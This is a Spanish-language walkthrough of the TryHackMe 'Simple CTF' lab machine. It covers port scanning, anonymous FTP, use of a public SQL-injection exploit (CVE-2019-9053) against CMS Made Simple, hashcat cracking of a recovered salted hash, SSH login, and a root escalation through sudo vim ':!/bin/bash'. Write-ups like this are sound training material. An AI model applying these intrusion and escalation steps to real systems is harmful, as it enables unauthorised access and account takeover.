Simple CTF | TryHackMe

Resolución documentada de Simple CTF, una máquina de dificultad fácil en TryHackMe.

Contexto

El objetivo de esta práctica es encadenar varios hallazgos de baja complejidad hasta conseguir una shell privilegiada.

La IP utilizada durante la resolución es 10.10.71.52.

1. Mapa inicial de la superficie

Primero compruebo que el objetivo está disponible y observo el TTL de la respuesta:

ping -c 1 10.10.71.52
64 bytes from 10.10.71.52: icmp_seq=1 ttl=61 time=318 ms

El valor obtenido encaja con un host Linux, aunque esta deducción solo sirve como orientación inicial. La identificación real vendrá del escaneo de servicios.

Puertos accesibles

Para localizar los puntos de entrada ejecuto un SYN scan sin resolución DNS:

nmap -n -sS -Pn -T5 10.10.71.52 -oG allPorts.txt

La máquina expone tres puertos:

PORT     STATE SERVICE
21/tcp   open  ftp
80/tcp   open  http
2222/tcp open  ssh

El puerto SSH no utiliza el valor habitual 22, así que habrá que tenerlo en cuenta en cualquier intento de acceso posterior.

El siguiente escaneo añade detección de versiones y scripts básicos de reconocimiento:

nmap -p 21,80,2222 -sV -sC --min-rate 5000 10.10.71.52 -oN services.txt
Puerto Servicio detectado Observación
21 vsftpd 3.0.3 El servidor acepta sesiones anónimas
80 Apache 2.4.18 Aplicación web sobre Ubuntu
2222 OpenSSH 7.2p2 Servicio SSH en puerto alternativo

El resultado también revela referencias a rutas de aplicaciones web, por lo que continúo la investigación separando FTP y HTTP.

2. El FTP deja una pista

La configuración de FTP permite iniciar sesión como usuario anónimo. Compruebo qué contenido está disponible sin credenciales:

ftp 10.10.71.52

En la sesión navego hasta pub y descargo el único fichero visible:

ftp> cd pub
ftp> ls
-rw-r--r--    1 ftp      ftp           166 Aug 17  2019 ForMitch.txt
ftp> get ForMitch.txt

El documento no contiene una contraseña directamente. Sí deja una pista importante: una contraseña débil ha sido reutilizada para una cuenta del sistema. Por tanto, guardo el nombre del fichero y paso a buscar usuarios y versiones de software en el servicio web.

3. Enumeración de la aplicación web

El puerto 80 muestra inicialmente la página por defecto de Apache. Para ampliar el inventario de rutas utilizo Gobuster:

gobuster dir \
  -u http://10.10.71.52 \
  -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt \
  -x php,html,txt \
  -t 100

La ruta que cambia el rumbo de la investigación es /simple:

http://10.10.71.52/simple               (Status: 200)

La aplicación identifica el producto como CMS Made Simple 2.2.8. Esta versión es relevante porque existe una vulnerabilidad de inyección SQL basada en tiempo, registrada como CVE-2019-9053.

4. Del CMS a una cuenta válida

Busco primero información pública del producto y de su versión:

searchsploit "CMS Made Simple 2.2.8"

Entre los resultados aparece el exploit 46635.py, asociado a versiones anteriores a 2.2.10. Lo copio localmente para analizarlo y ejecutarlo en el entorno de la máquina:

searchsploit -m php/webapps/46635.py

El script está pensado para Python 2 y recibe como parámetro la URL de CMS Made Simple:

python2 46635.py -u http://10.10.71.52/simple/

La consulta permite recuperar información de una cuenta interna:

[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96

El valor obtenido no es una contraseña en claro. Se trata de un hash acompañado por su salt, con el formato compatible con md5(salt + password). Utilizo Hashcat en el modo 20 y una wordlist local:

.\hashcat.exe -a 0 -m 20 `
  0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2 `
  .\rockyou.txt

El resultado es la contraseña secret. Este dato encaja con la advertencia del fichero obtenido por FTP: la contraseña de la aplicación también se estaba empleando para una cuenta del sistema.

5. Acceso interactivo por SSH

Con el usuario mitch, la contraseña recuperada y el puerto 2222, pruebo el acceso remoto:

ssh mitch@10.10.71.52 -p 2222

Una vez dentro, verifico la identidad de la sesión y reviso el directorio personal:

whoami
ls
cat user.txt
mitch
user.txt
G00d************

Ya existe una shell de usuario, así que el siguiente objetivo es conocer las capacidades administrativas de mitch.

6. Qué puede ejecutar mitch

La comprobación de privilegios delegados se realiza con:

sudo -l

La configuración permite ejecutar Vim como root sin solicitar contraseña:

User mitch may run the following commands on Machine:
    (root) NOPASSWD: /usr/bin/vim

Esto es suficiente para escalar porque Vim puede lanzar comandos del sistema desde su propia interfaz. Inicio la aplicación con la regla autorizada:

sudo /usr/bin/vim

Dentro de Vim ejecuto una shell Bash usando el comando externo:

:!/bin/bash

Compruebo el usuario de la nueva shell:

whoami
root

La escalada se ha completado. Para cerrar la resolución, leo la flag del directorio de administración:

cd /root
ls
cat root.txt
root.txt
W3ll****************

Resultado

La vulnerabilidad no depende de un único fallo crítico. El acceso se construye sumando varios problemas de configuración y mantenimiento:

La cadena completa queda así:

21/tcp -> ForMitch.txt -> /simple -> CVE-2019-9053 -> mitch -> sudo vim -> root

Referencias

Asistente IA

Powered by Gemini
¡Hola! Soy el asistente IA corporativo del portfolio de Mario ✨. ¿En qué te puedo ayudar hoy?